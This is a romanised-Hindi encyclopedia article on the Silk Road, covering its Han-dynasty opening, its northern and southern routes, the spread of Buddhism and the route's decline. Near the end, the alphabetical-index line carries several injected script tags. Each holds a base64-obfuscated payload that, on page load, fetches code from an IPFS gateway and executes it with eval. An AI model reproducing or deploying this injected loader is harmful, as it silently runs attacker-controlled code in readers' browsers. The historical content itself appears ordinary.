रेशम मार्ग

[[chitr:Silk-Route-Map.jpg|thumb|250px|resham marg (s dak rasta lal rang se samudri rasta nile rang se)]] resham marg athava silk root prachin chini sabhyata ko pashchim tak pahuanchaya jane ka ek aham rasta tha, jo poorv aur pashchim ke bich arthik v saanskritik adan pradan ka setu ke nam se vishvavikhyat hai. resham marg prachin chin se madhy eshiya se ho kar dakshin eshiya, pashchim eshiya, yoorop tatha uttari afrika tak jane vala thal vyapar rasta tha. b di matra mean chin ke resham aur resham vastr isi marg se pashchim tak pahuanchaye jane ke karan is marg ka nam resham marg rakha gaya. puratatviy khoj se pata chala hai ki resham marg eesa poorv pahali shatabdi ke chin ke han rajavansh ke samay sanpann hua tha, us samay resham marg vartaman ke afaganistan, ujjabekastan, eeran aur misr ke aljeandar nagar tak pahuanchata tha aur is ka ek doosara rasta pakistan tatha afaganistan ke kabul se ho kar farasi kha di tak pahuanchata tha, jo dakshin ki disha mean vartaman mean karachi tak pahuanch jata tha aur phir samudri marg se farasi kha di aur rom tak pahuanch jata tha.^[1]

itihas

resham marg am taur par vah thaliy rasta kahalata hai, jise chin ke han rajavansh ke mahanh yatri chaangachhayan ne khola tha, jo pashchim han rajavansh ki rajadhani chhaang an se pashchim mean rom tak pahuanchata tha. is marg ke uttar aur dakshin mean do shakha rasta the, dakshini rasta tun huang nagar se shuroo hue, yaang kvan darre se ho kar pashchim ki disha mean khunalun parvat talahati mean age chalate hue chhu d lin parvat ko par karata tha aur age tayyeji (aj ke sinchaang aur afaganistan ke uttar poorv kshetr mean) pahuanchata tha, phir age anashi yani farasi (aj ka eeran) aur thyo ji (aj ke arab prayadvip mean) se ho kar prachin rom tak puhanchata tha. uttari rasta tunahuang se aranbh hue yuman darre se ho kar thyen shan parvat ki dakshini talahati mean chhu dalin parvat ko par kar tayvan v khanachyu (aj ke madhy eshiya mean) se gujar kar pashchim dakshin ki disha mean age badhate hue dakshini raste se ja milata tha. yahi do raste prachin resham marg kahalata tha.^[2]

vyapar mean mahatta

thumb|250px|resham marg vyapar ke sath resham marg se saanskritik adan pradan bhi bahut kriyashil raha tha. bauddh dharm chin ke pashchimi han rajavansh ke kal (eesapoorv 206 - eesvi 25) mean chin mean aya. eesvi tisari shatabdi mean chin ke sianchaang mean gijar gufa khodi gee, jisamean ab bhi das hazar varg mitar ke bhitti chitr surakshit hai, jisase bauddh dharm ke chin mean ane ke praranbhik itihas ki jhalak milati hai. anuman hai ki bauddh dharm bharat se resham marg se sinchaang ke gijar pahuancha, phir vahaan se kaansoo praant ke t dahuang tak aya, isake bad chin ke bhitari ilakoan mean phail gaya. resham marg se chalate chalate anek bauddh guphaean surakshit huee dekhi jati haian, jinamean t dahuang ki makaoan gufa tatha loyaang ki luangaman gufa vishvavikhyat hai. in gufaoan ki kalakritiyoan mean poorv aur pashchim ki kala shailiyoan ka vilay hua hai, jo resham marg se saanskritik adan pradan ka sakshi hai, ve ab vishv saanskritik dharohar namasoochi mean shamil kie ge haian.

eesvi nauvian shatabdi ke bad yooropashiya mahadvip ke rajanitik v arthik dhaanche mean bhari badalav ke karan, khas kar samudri jahajarani ke vikas ke karan jahajarani vyapar ka achchha aur pramukh sadhan ban gaya. is tarah prachin resham marg ka mahatv lagatar ghatata gaya aur aant mean vah nasht bhi hua. dasavian shatabdi mean chin ke suang rajakal mean hi resham marg vyapar ke lie bahut kam prayog kiya gaya.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 prachin resham marg (hindi) (ech.ti.em.el) china aba. abhigaman tithi: 9 aprॅl, 2012.
↑ resham marg ka rahasy (hindi) (ech.ti.em.el) china aba. abhigaman tithi: 9 aprॅl, 2012.

bahari k diyaan

kvag cho- samudri resham marg ka aranbhik sthal

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[china-1] 1.0 ^1.1 prachin resham marg (hindi) (ech.ti.em.el) china aba. abhigaman tithi: 9 aprॅl, 2012.

[2] resham marg ka rahasy (hindi) (ech.ti.em.el) china aba. abhigaman tithi: 9 aprॅl, 2012.

[1]

[2]